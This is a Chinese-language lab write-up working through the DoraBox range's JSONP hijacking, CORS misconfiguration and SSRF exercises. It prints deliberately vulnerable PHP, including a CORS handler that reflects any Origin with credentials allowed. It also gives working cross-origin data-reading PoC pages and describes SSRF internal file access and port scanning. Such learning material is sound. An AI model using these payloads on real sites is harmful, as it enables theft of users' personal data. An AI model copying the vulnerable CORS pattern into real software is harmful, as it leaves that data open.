0x00 基础知识
之前做DVWA
时用的都是写入型的CSRF,这次又学习到了新的东西,可以的,开心。
先了解什么是JSONP
,看了几篇文章,看完了才动手做的。
0x01 CSRF JSONP劫持
现在所有支持JavaScript
的浏览器都使用同源策略,才诞生了JSONP(JSON with padding)
,远程调用json
文件来实现数据传递的技术,它的特点是可以跨域读取数据。
漏洞分析
点开以后是一段json
的数据,看下php
源码。
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>
如果不存在callback
,那么就显示json
格式的info
信息。
如果存在callback
,则将callback
实体转换后加上json
格式的info
再输出,也就是一开始点进去的那个样子。
漏洞利用
由于用了jsonp
那就可以进行跨域了,我在本机上开了一个html
,内容如下:
//csrf_jsonp.html
<!doctype html>
<html>
<title>test file</title>
<body>
<script>
function test(jsonp){
document.write(JSON.stringify(jsonp));
}
</script>
<script src="http://192.168.181.250/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>
这个是借助了作者提供的poc
来完成的,之前并没有接触过,慢慢积累吧。
我在本机上访问这个页面,访问后这个脚本就会去访问192.168.181.250
,这个时候另一个是127.0.0.1
属于不同源了,但是通过了jsonp
还是传过来,并且显示在了网站当中。
0x02 CSRF CORS跨域资源读
学这些,头真的疼。。。
CORS
是一个W3C
标准,全称是"跨域资源共享"(Cross-origin resource sharing)
。它允许浏览器向跨源服务器发出XMLHttpRequest
请求,从而解决AJAX
只能同源使用的限制。
漏洞分析
和刚刚的有点像,返回的也是json
格式的代码。但是和刚刚的JSONP劫持
不太一样,代看源码
<?php
if (@$_SERVER['HTTP_ORIGIN']){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
}else{
header("Access-Control-Allow-Origin: *");
}
header("Access-Control-Allow-Headers: X-Requested-With");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
echo json_encode($info);
?>
会发现这里是先判断有没有http_origin
,如果有就允许此origin
,如果没有则允许所有的origin
,这个就是CORS
的关键,此字段只会存在于CORS
中。然后输入出一段json
的信息。
漏洞利用
去看了下作者写的Poc
,写的php
文件,看起来很复杂,就没看下去了。。。
于是自己网上找了段发送ajax
的代码,胡乱改了下,没想到直接成功了,,,,
<!doctype html>
<html>
<title>test file cors</title>
<body>
<script>
function sendAjax() {
//构造表单数据
//var formData = new FormData();
//formData.append('username', 'johndoe');
//formData.append('id', 123456);
//创建xhr对象
var xhr = new XMLHttpRequest();
//设置xhr请求的超时时间
xhr.timeout = 3000;
//设置响应返回的数据格式
xhr.responseType = "text";
//创建一个 GET 请求,采用异步
xhr.open('GET', 'http://192.168.181.250/DoraBox/csrf/userinfo.php', true);
//注册相关事件回调处理函数
xhr.onload = function(e) {
if(this.status == 200||this.status == 304){
//document.write(this.responseText);
alert(this.responseText);
}
};
//xhr.ontimeout = function(e) { ... };
//xhr.onerror = function(e) { ... };
//xhr.upload.onprogress = function(e) { ... };
//发送数据
//xhr.send(formData);
xhr.send();
}
sendAjax();
</script>
</body>
</html>
<hr>
然后本机去访问此链接就可以了。
还是回头来看看作者的Poc
吧,不然感觉总是少了点什么。。。
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC</title>
</head>
<body>
<center>
GET Request
<form action="./get.php">
URL: <input type="text" name="url"><br>
<input type="submit" value="Attack">
</form>
<br><br>
POST Request
<form action="./post.php" id="postform">
URL: <input type="text" name="url"><br>
Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
<input type="submit" value="Attack">
</form>
</center>
</body>
</html>
先是一个静态网页,然后可以选择post
和get
方式来触发cors
最后和我自己弄的html
没啥区别。。。
作者弄两个的意思大概是jsonp
只能用一个get
方法,而不能用post
,而cosf
两种方法都能使用吧。
0x03 SSRF
漏洞分析
SSRF
之前玩Pikachu
的时候做过了,和CSRF
的区别还是比较明显的,这个看起来和文件包含比较类似,利用服务器
来进行攻击,常用危害的就是读文件,内网扫描,访问内网程序,进行内网渗透等。
漏洞利用
输入1
后报错了,得知用的是file_get_contents()
函数。一般用于包含文件使用。
这里构造http://192.168.181.1/phpinfo.php
,注意192.168.181.1
和靶场192.168.181.150
是同一网段的,是内网主机(192.168.181.1就是我本机。。。 ),访问即可。
再来一个端口扫描,8000
端口连接超时。